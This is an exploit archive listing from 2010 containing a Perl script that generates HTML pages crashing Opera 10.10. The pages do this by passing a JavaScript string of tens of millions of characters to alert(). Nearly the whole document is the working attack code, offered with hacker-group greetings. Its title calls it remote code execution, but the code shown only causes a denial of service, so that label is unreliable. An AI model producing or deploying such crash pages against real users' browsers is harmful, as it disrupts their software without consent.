Opera Denial Of Service

🗓️ 08 Feb 2010 00:00:00Reported by Dj7xplType

packetstorm🔗 packetstormsecurity.com👁 23 Views

Opera 10.10 Remote Code Execution DoS Exploit in Javascrip

`#!/usr/bin/perl  
  
  
# Title : Opera 10.10 Remote Code Execution DoS Exploit  
# Tested : Windows xp (sp2)  
  
# Description : Opera Web Browser is vulnerable DoS within its javascript tags (alert)  
# This issue can be exploited by using a large value in a alert tags to create an out-of-bounds memory access   
# This have in advising at version 9.10 http://www.milw0rm.com/exploits/3871, and good news this issue still work on version 10.10  
  
# Credits to Dj7xpl \ first exploiter  
# Greetz : str0ke a great man :)  
# muts and exploit-db  
# opt!x hacker my best friend :d  
# and all INDONESIAN hacker community  
# cr4wl3r kiss your soul from Gorontalo - INDONESIA  
  
# Sorry for my bad english :p~  
  
print qq(  
###################################################  
## Opera 10.10 Remote Code Execution DoS Exploit ##  
## Credits : Dj7xpl ##  
## http://www.milw0rm.com/exploits/3871##  
## Author : cr4wl3r <cr4wl3r[!]linuxmail.org> ##  
## Greetz : str0ke, opt!x hacker, xoron ##  
## all member at manadocoding.net ##  
## all member at indonesianhacker.org ##  
###################################################  
);  
  
my $header = "<html>\n<script>\n";  
my $footer = "</script>\n</html>";  
  
  
my $uhoh1 = "var buf = 'A';\n".  
"while (buf.length <= 44444444) buf+=buf;\n".  
"alert(buf)\n";  
  
##################################################################  
open(myfile,'>> uhoh1.html');  
print myfile $header.$uhoh1.$footer;  
##################################################################  
  
  
my $uhoh2 = "alert(\'". "A" x 44444444 ."'\)"."\n";  
  
##################################################################  
open(myfile,'>> uhoh2.html');  
print myfile $header.$uhoh2.$footer;  
##################################################################  
  
print "\nDone, successfully created!\n";  
  
`

08 Feb 2010 00:00Current

7.4High risk

Vulners AI Score7.4